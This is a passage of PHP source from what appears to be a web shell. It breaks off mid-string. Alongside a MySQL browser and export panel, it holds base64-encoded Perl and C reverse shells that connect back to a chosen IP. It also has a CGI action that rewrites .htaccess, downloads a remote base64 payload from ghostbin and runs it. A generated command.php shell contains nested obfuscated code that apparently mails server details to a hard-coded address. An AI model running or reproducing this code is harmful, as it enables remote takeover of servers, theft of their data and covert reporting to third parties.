1715 $multipage = multi($tatol, $pagenum, $page, $tablename);
1716 }
1717 if (!$tablename) {
1718 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1719 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1720 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1721 $tablename = $matches[1][0];
1722 }
1723 $result = q($query);
1724 p($multipage);
1725 p('<table border="0" cellpadding="3" cellspacing="0">');
1726 p('<tr class="head">');
1727 if ($allowedit) p('<td>Action</td>');
1728 $fieldnum = @mysql_num_fields($result);
1729 for($i=0;$i<$fieldnum;$i++){
1730 $name = @mysql_field_name($result, $i);
1731 $type = @mysql_field_type($result, $i);
1732 $len = @mysql_field_len($result, $i);
1733 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1734 }
1735 p('</tr>');
1736 while($mn = @mysql_fetch_assoc($result)){
1737 $thisbg = bg();
1738 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1739 $where = $tmp = $b1 = '';
1740 foreach($mn as $key=>$inside){
1741 if ($inside) {
1742 $where .= $tmp.$key."='".addslashes($inside)."'";
1743 $tmp = ' AND ';
1744 }
1745 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1746 }
1747 $where = base64_encode($where);
1748 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1749 p($b1);
1750 p('</tr>');
1751 unset($b1);
1752 }
1753 tbfoot();
1754 p($multipage);
1755 break;
1756 case 2:
1757 $ar = mysql_affected_rows();
1758 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1759 break;
1760 }
1761 }
1762 }
1763 }
1764 } else {
1765 $query = q("SHOW TABLE STATUS");
1766 $table_num = $table_rows = $data_size = 0;
1767 $tabledb = array();
1768 while($table = mysql_fetch_array($query)) {
1769 $data_size = $data_size + $table['Data_length'];
1770 $table_rows = $table_rows + $table['Rows'];
1771 $table['Data_length'] = sizecount($table['Data_length']);
1772 $table_num++;
1773 $tabledb[] = $table;
1774 }
1775 $data_size = sizecount($data_size);
1776 unset($table);
1777 p('<table border="0" cellpadding="0" cellspacing="0">');
1778 p('<form action="'.$self.'" method="POST">');
1779 makehide('action','sqladmin');
1780 p($dbform);
1781 p('<tr class="head">');
1782 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1783 p('<td>Name</td>');
1784 p('<td>Rows</td>');
1785 p('<td>Data_length</td>');
1786 p('<td>Create_time</td>');
1787 p('<td>Update_time</td>');
1788 if ($highver) {
1789 p('<td>Engine</td>');
1790 p('<td>Collation</td>');
1791 }
1792 p('</tr>');
1793 foreach ($tabledb as $key => $table) {
1794 $thisbg = bg();
1795 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1796 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1797 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1798 p('<td>'.$table['Rows'].'</td>');
1799 p('<td>'.$table['Data_length'].'</td>');
1800 p('<td>'.$table['Create_time'].'</td>');
1801 p('<td>'.$table['Update_time'].'</td>');
1802 if ($highver) {
1803 p('<td>'.$table['Engine'].'</td>');
1804 p('<td>'.$table['Collation'].'</td>');
1805 }
1806 p('</tr>');
1807 }
1808 p('<tr class=fout>');
1809 p('<td> </td>');
1810 p('<td>Total tables: '.$table_num.'</td>');
1811 p('<td>'.$table_rows.'</td>');
1812 p('<td>'.$data_size.'</td>');
1813 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1814 p('</tr>');
1815
1816 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1817 makehide('doing','backupmysql');
1818 formfoot();
1819 p("</table>");
1820 fr($query);
1821 }
1822 }
1823 }
1824 tbfoot();
1825 @mysql_close();
1826}//end sql backup
1827
1828
1829elseif ($action == 'backconnect') {
1830 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1831 !$yourport && $yourport = '12345';
1832 $usedb = array('perl'=>'perl','c'=>'c');
1833
1834 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1835 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1836 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1837 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1838 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1839 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1840 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1841 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1842 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1843 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1844 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1845 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1846 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1847 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1848 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1849
1850 if ($start && $yourip && $yourport && $use){
1851 if ($use == 'perl') {
1852 cf('/tmp/angel_bc',$back_connect);
1853 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1854 } else {
1855 cf('/tmp/angel_bc.c',$back_connect_c);
1856 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1857 @unlink('/tmp/angel_bc.c');
1858 $res = execute("/tmp/angel_bc $yourip $yourport &");
1859 }
1860 m("Now script try connect to $yourip port $yourport ...");
1861 }
1862
1863 formhead(array('title'=>'Back Connect'));
1864 makehide('action','backconnect');
1865 p('<p>');
1866 p('Your IP:');
1867 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1868 p('Your Port:');
1869 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1870 p('Use:');
1871 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1872 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1873 p('</p>');
1874 formfoot();
1875}//end backconnect window via NC
1876
1877//CGI Shell
1878 elseif ($action == 'cgi') {
1879 mkdir('error', 0755);
1880 chdir('error');
1881 $kokdosya = ".htaccess";
1882 $dosya_adi = "$kokdosya";
1883 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1884 $metin = "Options +FollowSymLinks +Indexes
1885DirectoryIndex default.html
1886## START ##
1887Options +ExecCGI
1888AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1889AddType application/x-httpd-php .jpg
1890RewriteEngine on
1891RewriteRule (.*)\.war$ .log
1892## END ##";
1893 fwrite($dosya, $metin);
1894 fclose($dosya);
1895 $perltoolss = file_get_contents('https://ghostbin.com/paste/26353/raw');
1896 $file = fopen("error.log", "w+");
1897 $write = fwrite($file, base64_decode($perltoolss));
1898 fclose($file);
1899 chmod("error.log", 0755);
1900 echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";
1901}//end CGI
1902
1903//NewCommand
1904elseif ($action == 'newcommand') {
1905 $file = fopen($dir . "command.php", "w+");
1906 $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2R3WVhKcmFHbHBjSHBBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjb2RlKCdKSE1nUFNCaGNuSmhlU0FvSW1zaUxDSmlJaXdpY2kgSXNJbVVpTENKaElpd2ljaUlzSW1NaUxDSkFJaXdpYlNJc0lta2lMQ0pzSWl3aUxpSXMgSW04aUxDSm5JaWs3RFFva2MzbHpkR1Z0WDJGeWNtRjVNaUE5SUNSeld6SmRMaVJ6V3ogTmRMaVJ6V3pGZExpUnpXelpkTGlSeld6VmRMaVJ6V3pSZExpUnpXekJkTGlSeld6TmQgTGlSeld6VmRMaVJ6V3pkZExpUnpXekV6WFM0a2MxczRYUzRrYzFzMFhTNGtjMXM1WFMgNGtjMXN4TUYwdUlpNGlMaVJ6V3paZExpUnpXekV5WFM0a2MxczRYVHNOQ2lSbGJtTnYgWkdsdVp5QTlJQ0lrYzNsemRHVnRYMkZ5Y21GNU1pSW